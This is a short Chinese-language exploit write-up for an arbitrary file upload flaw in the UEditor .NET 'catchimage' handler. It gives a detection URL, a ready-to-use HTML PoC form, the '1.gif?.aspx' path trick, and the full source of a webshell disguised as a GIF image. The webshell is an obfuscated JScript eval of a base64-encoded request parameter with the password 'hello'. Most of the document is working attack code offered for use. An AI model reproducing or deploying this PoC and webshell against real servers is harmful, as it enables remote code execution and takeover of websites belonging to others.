漏洞介绍

UEditor在抓取远程数据源的时，会进入”catchimage”分支。在该方法使用的CrawlerHandler类中，并未对文件类型进行验证，从而导致了任意文件上传漏洞。

漏洞利用

漏洞检测

访问如下链接： http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
如出现

则可尝试漏洞利用

漏洞POC

<form action="www.XXXX.com.cn/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]"/></p>
<input type="submit" value="submit"/>
</form>

保存其为html文件，action中的url改为检测的链接，打开后上传框输入远程图片马1.gif地址，上传时路径最后改为1.gif?.aspx

图片马1.gif内容如下（密码为hello）：

GIF89a<script runat="server" language="JScript">   function popup(str) {       var q = "u";       var w = "afe";       var a = q + "ns" + w; var b= eval(str,a); return(b);  }</script><% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

提交后可以看到返回了上传的图片马的地址